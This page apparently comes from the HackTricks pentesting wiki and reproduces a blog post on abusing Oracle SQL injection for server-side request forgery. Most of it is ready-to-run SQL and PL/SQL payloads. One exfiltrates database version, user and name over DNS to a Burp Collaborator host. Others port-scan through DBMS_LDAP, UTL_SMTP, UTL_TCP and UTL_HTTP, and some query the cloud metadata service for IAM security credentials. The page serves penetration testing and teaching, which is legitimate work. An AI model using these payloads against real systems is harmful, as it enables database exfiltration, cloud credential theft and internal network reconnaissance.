Oracle injection - HackTricks

# Oracle injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Serve this post a wayback machine copy of the deleted post from https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

## SSRF

Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.

Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at Appsecco, Abhisek Datta, pointed me to https://github.com/MaksymBilenko/docker-oracle-12c that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.

I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.

    docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

#### Oracle packages that support a URL or a Hostname/Port Number specification

In order to find any packages and functions that support a host and port specification, I ran a Google search on the Oracle Database Online Documentation. Specifically,

    site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

The search returned the following results (not all can be used to perform outbound network)

- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP

This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as the documentation page simply points you to a different location. Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.

In any case, let’s take a look at some of the packages that we have discovered and listed above.

DBMS_LDAP.INIT

The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument.

This function has been documented before to show exfiltration of data over DNS, like below

    SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.

Here are a few examples

    SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
    SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
    SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
    SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open.

UTL_SMTP

The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the Oracle documentation site shows how you can use this package to send an email. For us, however, the interesting thing is with the ability to provide a host and port specification.

A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds

    DECLARE c utl_smtp.connection;
    BEGIN
    c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
    END;

    DECLARE c utl_smtp.connection;
    BEGIN
    c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
    END;

A `ORA-29276: transfer timeout` shows port is open but no SMTP connection was estabilished while a `ORA-29278: SMTP transient error: 421 Service not available` shows that the port is closed.

UTL_TCP

The `UTL_TCP` package and its procedures and functions allow TCP/IP based communication with services. If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.

The example on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page. We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.

    set serveroutput on size 30000;
    SET SERVEROUTPUT ON
    DECLARE c utl_tcp.connection;
      retval pls_integer;
    BEGIN
      c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
      retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
      retval := utl_tcp.write_line(c);
      BEGIN
        LOOP
          dbms_output.put_line(utl_tcp.get_line(c, TRUE));
        END LOOP;
      EXCEPTION
        WHEN utl_tcp.end_of_input THEN
          NULL;
      END;
      utl_tcp.close_connection(c);
    END;
    /

    DECLARE c utl_tcp.connection;
      retval pls_integer;
    BEGIN
      c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
      retval := utl_tcp.write_line(c);
      BEGIN
        LOOP
          dbms_output.put_line(utl_tcp.get_line(c, TRUE));
        END LOOP;
      EXCEPTION
        WHEN utl_tcp.end_of_input THEN
          NULL;
      END;
      utl_tcp.close_connection(c);
    END;

Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.

UTL_HTTP and Web Requests

Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the `UTL_HTTP` package. This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`

    select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

You could additionally, use this to perform some rudimentary port scanning as well with queries like

    select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
    select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
    select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.

Another package I have used in the past with varied success is the `GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a CLOB data type.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.